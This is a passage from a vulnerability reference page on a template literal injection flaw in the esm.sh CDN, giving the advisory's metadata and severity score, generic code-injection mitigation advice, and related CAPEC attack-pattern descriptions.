      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript"
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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